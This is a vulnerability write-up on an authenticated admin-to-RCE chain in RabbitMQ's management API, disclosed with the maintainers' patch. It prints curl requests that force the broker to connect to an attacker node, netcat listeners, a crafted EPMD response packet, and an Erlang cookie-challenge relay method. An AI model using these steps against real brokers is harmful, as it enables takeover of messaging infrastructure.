Popping a Shell on RabbitMQ

RabbitMQ is a message broker deployed in countless critical systems. It commands about a third of the queueing, messaging, and background processing market. It runs on a tripartite producer-consumer architecture in which a virtually unlimited number of machines can participate in a cluster.

This creates a potential risk: what if one of the nodes in the cluster connects to an untrustworthy machine and brings it within the trust boundary?

We began our investigation by inspecting RabbitMQ’s management plugin, which provides an HTTP-based API to manage and monitor nodes and clusters.

TL;DR

This is an authenticated administrator-to-code-execution bug in RabbitMQ’s management API:

• The chain starts with two PUT requests that create attacker-chosen node atoms.
• Two DELETE requests to the reset route then make RabbitMQ connect to those nodes before checking cluster membership.
• By reflecting a cookie challenge response between the concurrent distribution handshakes, the attacker authenticates a node they control without learning the cookie.
• The resulting bidirectional connection lets them invoke Erlang functions on the broker, and the final demonstration opens a shell.

1. One Quirky Rabbit

One special detail about the RabbitMQ-server broker is that it’s written in Erlang and runs on the BEAM virtual machine language with distribution mode enabled. Thus, it inherits some interesting quirks and features.

For instance, RabbitMQ leverages Erlang’s native inter-node communication mechanism, known as Erlang distribution. When the management node is trying to interact with other peers, it initiates an RPC connection using the Erlang distribution functionality.

To quote the documentation page from Erlang's docs directly:

"Security" here does not mean cryptographically secure, but rather security against accidental misuse, such as preventing a node from connecting to a cluster with which it is not intended to communicate.

This paragraph is fairly important because of the way the RPC communication is performed by Erlang distribution. When initiating an RPC request, it automatically opens a bidirectional RPC stream implying that when the node connects to someone and sends a request, they too can interact with it and send RPC requests. This specific trait set the course of my research.

2. Forcing RabbitMQ to Connect to an Untrusted Node

Because Erlang distribution creates a bidirectional RPC stream, I decided to search through the management plugin for unchecked outbound RPC calls. I found a promising lead in the DELETE /api/reset/:node route, which RabbitMQ documents as restarting the management statistics database on the specified node.

In RabbitMQ, DELETE /api/reset/:node is handled in deps/rabbitmq_management/src/rabbit_mgmt_wm_reset.erl. Its resource_exists/2 callback calls rabbit:is_running(Node) before checking whether the node belongs to the cluster. For a nonlocal node, that function makes an RPC call to the supplied node. The user-controlled node name therefore reaches a network operation before any membership validation:

Erlang
1resource_exists(ReqData, Context) ->
2    try get_node(ReqData) of
3        none ->
4            {true, ReqData, Context};
5        {ok, Node} ->
6            {rabbit:is_running(Node), ReqData, Context}
7    catch
8        error:badarg -> {false, ReqData, Context}
9    end.
Copy

The is_running function is defined within deps/rabbit/src/rabbit.erl, it checks the supplied node name to see if it matches the current node. If not, it initiates an RPC request to the provided value.

Erlang
1is_running(Node) when Node =:= node() ->
2    case rabbit_boot_state:get() of
3        ready       -> true;
4        _           -> false
5    end;
6is_running(Node) ->
7    case rpc:call(Node, rabbit, is_running, []) of
8        true -> true;
9        _    -> false
10    end.
Copy

And that's exactly the primitive we need to get an RCE.

To see if we can get a connection, we can run a sanity check by doing a curl request to see if we get a connection to netcat. I did so by starting a netcat listener on port 4369 and initiating the DELETE http request.

Strangely enough, my listener got no connections at all. I investigated by attaching a debugger and saving the debugging traces, which revealed the following:

Markdown
1Shell got {trace,<9332.1773.0>,exception_from,
2                 {rabbit_mgmt_wm_reset,get_node,1},
3                 {error,badarg}}
Copy

Hmm, the traces show we are getting the badarg error from the  get_node function:

Erlang
1get_node(ReqData) ->
2    case rabbit_mgmt_util:id(node, ReqData) of
3        none ->
4            none;
5        Node0 ->
6            Node = binary_to_existing_atom(Node0, utf8),
7            {ok, Node}
8    end.
Copy

By looking deeper into the debugging traces, I was able to identify the original exception coming from binary_to_existing_atom here:

Markdown
1Shell got {trace,<9332.2318.0>,exception_from,
2                 {erlang,binary_to_existing_atom,2},
3                 {error,badarg}}
Copy

Erlang-specific behavior: What are atoms?

This is another example of Erlang-specific behavior. In Erlang, an atom is a constant value stored in the BEAM virtual machine.

Because atoms aren’t garbage collected, creating many from untrusted binaries can exhaust the atom table. The binary_to_existing_atom/2 function only accepts an atom already present in the VM and raises badarg if it is absent.

This means that technically, we haven’t failed a security check. Now we have to look at the second primitive: how to create an arbitrary atom in the virtual machine.

3. Existing Atoms Are Not Trusted Nodes

Now that we have already established a way to send RPC connections, the only thing blocking us is the atom lookup function, binary_to_existing_atom. Intuitively, this doesn't seem like a very strong security check, and I can’t help but wonder if this was designed as a security mechanism or if it’s just a spandrel.

I started by asking ChatGPT which functions can create an atom from a string input:

Next, I ran a grep search for places where those functions are called and got the following file with multiple hits:

Markdown
1rabbit_common/src/rabbit_data_coercion.erl:46:to_atom(Val) when is_list(Val)   -> list_to_atom(Val);
2rabbit_common/src/rabbit_data_coercion.erl:47:to_atom(Val) when is_binary(Val) -> binary_to_atom(Val, utf8).
3rabbit_common/src/rabbit_data_coercion.erl:56:to_atom(Val, _Encoding) when is_list(Val)   -> list_to_atom(Val);
4rabbit_common/src/rabbit_data_coercion.erl:57:to_atom(Val, Encoding)  when is_binary(Val) -> binary_to_atom(Val, Encoding).
Copy

 So it looks like rabbitmq already has a helper function called to_atom which we can use to create an atom: rabbit_data_coercion:to_atom(Value)

The helper is used all over the codebase but we may have an interesting finding here given the file name:

Markdown
1rabbit/src/rabbit_runtime_parameters.erl:107:    NameAsAtom = rabbit_data_coercion:to_atom(Name),
2rabbit/src/rabbit_runtime_parameters.erl:200:    KeyAsAtom = rabbit_data_coercion:to_atom(Key),
Copy

This leads us to yet another wrapper set_global which can help us set the parameter.  Here, I searched for this function again:

Erlang
1-spec set_global(atom(), term(), rabbit_types:username()) -> 'ok'.
2
3set_global(Name, Term, ActingUser)  ->
4    NameAsAtom = rabbit_data_coercion:to_atom(Name),
5    ?LOG_DEBUG("Setting global parameter '~ts' to ~tp", [NameAsAtom, Term]),
6    _ = rabbit_db_rtparams:set(NameAsAtom, Term),
7    event_notify(parameter_set, none, global, [{name,  NameAsAtom},
8                                               {value, Term},
9                                               {user_who_performed_action, ActingUser}]),
10    ok.
Copy

And what do you know? We have a match within the management API, which is exactly what is needed to continue the primitive:

Markdown
1rabbitmq_management/src/rabbit_mgmt_wm_global_parameter.erl:55:          rabbit_runtime_parameters:set_global(raw_name(ReqData), Val, Username),
2accept_content(ReqData0, Context = #context{user = #user{username = Username}}) ->
3    rabbit_mgmt_util:with_decode(
4      [value], ReqData0, Context,
5      fun([Value], _, ReqData) ->
6          Val = if is_map(Value) -> maps:to_list(Value);
7                    true         -> Value
8                end,
9          rabbit_runtime_parameters:set_global(raw_name(ReqData), Val, Username),
10          {true, ReqData, Context}
11      end).
Copy

Now that we have identified a sink,  how do we influence ReqData to be anything, and how do we reach it?

accept_content here is the AcceptCallback callback handler for the cowboy http library.

Reading the docs:

Thus it only triggers on POST and PUT requests. The /global-parameters/:name route only accepts the following HTTP methods:

Erlang
1allowed_methods(ReqData, Context) ->
2    {[<<"HEAD">>, <<"GET">>, <<"PUT">>, <<"DELETE">>, <<"OPTIONS">>], ReqData, Context}.
Copy

So we have to use PUT. Now let's try the new chain and see if we will receive a connection through netcat. The curl captures below use the attacker container on the private lab network. First we send a PUT request to create the atom:

Shell
1curl -sS -i -u 'administrator:reflection-lab-password' \
2  -H 'Content-Type: application/json' \
3  -X PUT --data '{"value":0}' \
4  'http://victim:15672/api/global-parameters/evil@PWNER'
Copy

Shell
1curl -sS -i -u 'administrator:reflection-lab-password' \
2  -X DELETE \
3  'http://victim:15672/api/reset/evil@PWNER'
Copy

For the EPMD packet capture, I repeated the PUT/DELETE sequence in an earlier lab run using evil@blogattacker. On that container, I started a listener on port 4369 before the DELETE:

Shell
1nc -n -4 -w 2 -lv 4369 | xxd -g 1
Copy

That DELETE also returned 404, but the listener did receive a connection:

The data sent here is simple:

Markdown
100 05        Request length: 5 bytes
27a        PORT_PLEASE2_REQ, decimal 122
365 76 69 6c        ASCII evil
Copy

Sadly, we still have to deal with other quirks before popping a shell, so this is just step 1.

4. The EPMD Protocol

When an rpc:call/4 connects a node that is not connected, the distribution runtime performs the following steps:

Markdown
1'user@host'
2    -> resolve hostname "host"
3    -> connect to EPMD on host:4369
4    -> ask EPMD for the distribution port registered as "user" (the alive name)
5    -> connect to the returned port
6    -> exchange node names and capbility flags
7    -> perform cookie challenge-response authentication
8    -> if authentication succeeds, enter the connected state
9    -> deliver distributed messages
Copy

Netcat captured RabbitMQ’s EPMD port request. To continue, we need to tell RabbitMQ which port our distribution listener is using:

We need to craft the proper PORT2_RESP packet to continue. The official protocol states that all multibyte values use the big-endian order, which leads to the following python code:

Python
1struct.pack(
2    ">BBHBBHHH",
3    119,    # PORT2_RESP
4    0,      # success
5    19101,  # distribution port
6    77,     # normal Erlang node
7    0,      # TCP/IPv4
8    6,      # highest version
9    5,      # lowest version
10    len(node_name),
11)
Copy

First, we start a listener on 19101 in one terminal:

Shell
1nc -n -4 -w 3 -lv 19101 | xxd -g 1
Copy

In another terminal, answer the EPMD lookup with a PORT2_RESP advertising that port:

Shell
1printf %s 77004a9d4d000006000500116576696c40626c6f6761747461636b65720000 \
2  | xxd -r -p | nc -N -n -4 -w 3 -lv 4369 | xxd -g 1
Copy

I repeat the DELETE for evil@blogattacker to trigger another lookup. Netcat on 4369 receives the request and sends the response:

RabbitMQ then closes the EPMD connection and connects to the advertised port:

We have reached the distribution handshake, but authentication has not yet completed. The 19101 connection alone is not an authenticated RPC channel.

5. Bidirectional RPC

RabbitMQ cluster nodes share an Erlang cookie, a secret string usually stored in a local file and provided during deployment. To accept a distribution connection, Erlang requires a cookie challenge-response handshake. Our mock node can accept the victim’s response without checking it, but the victim still verifies our response to its own challenge. Since the cookie is never sent over the wire, we need its value or a way to produce a valid response.

Cookie authentication is a classic handshake protocol. For instance, imagine we have Alice and Bob where Alice initiates the handshake with Bob

1. Alice connects to Bob through TCP IP and Bob accepts the connection
2. Alice sends identification data to Bob
3. Bob sends a status ok message to Alice, indicating the connection is allowed
4. Bob sends a 32 bit challenge to Alice
5. Alice sends Bob a digest of Bob’s challenge, along with a new challenge of her own.
6. Bob verifies Alice’s digest and returns a digest of her challenge. Alice checks Bob’s digest before accepting the connection.

The cookie challenge-response is the only security element blocking us from performing the call in this scenario. The cookie challenge digest is an md5 hash calculated by concatenating the cookie text with the challenge written as decimal text, like Digest = MD5(cookie || decimal(challenge)). This kind of authentication suffers from a relay pattern familiar from NTLM authentication. While it is true that the secret value is never revealed or leaked to the attacker, they don't need to see the hash to be able to use it, and can thereby manipulate the legitimate victim into authenticating them.

Thus we as the attacker can do the following:

1. Victim connects to attacker
2. The attacker sends a chosen challenge, Ns, and accepts RabbitMQ’s reply without verifying it.
3. RabbitMQ replies with a digest for Ns and a new challenge, C, of its own.
4. Attacker creates a new fake oracle node
5. Attacker forces victim to connect to the oracle through the same put->delete chain
6. The oracle sends C as its challenge to RabbitMQ.
7. RabbitMQ returns a valid digest for C to the oracle.
8. The attacker copies that digest into the acknowledgement on the held connection.
9. Victim verifies and accepts the hash

6. Putting it All Together

Now that we have it all together we can run the exploit with the following steps:

1. Register atom
2. Force the RPC call
3. Open bidirectional RPC
4. Cookie challenge bypass
5. Send RPC request to rex
6. Pop a shell

The Aftermath

The reset route can be patched, but the pattern can recur: wherever a management-supplied node name reaches an outbound RPC before cluster membership is checked, the same trust boundary can be crossed under the conditions described above. Fixing one route does not establish that every such path has been removed.

This research led to the discovery of another issue, which was considered low-severity by the maintainers due to the complex setup and weird configurations required to exploit: GHSA-27gv-h5q6-cpwg.

For the reset route, the fix was to check cluster membership before calling rabbit:is_running/1:

Erlang
1{ok, Node} ->
2    %% We intentionally ignore nodes that are not cluster members before
3    %% invoking `rabbit:is_running/1'. MK.
4    {rabbit_nodes:is_member(Node) and also rabbit:is_running(Node),
5     ReqData, Context}
Copy

The maintainers patched most other places with the same issue in another commit after my second report: PR 17118. My thanks to them for their dedication and professionalism.

References

• RabbitMQ management plugin and clustering and Erlang cookie
• Distributed Erlang, RPC, and atoms
• Atom conversion and badarg
• EPMD and distribution handshake protocol
• Cowboy REST resource handlers
• RabbitMQ advisory for this exploit chain and follow-up patch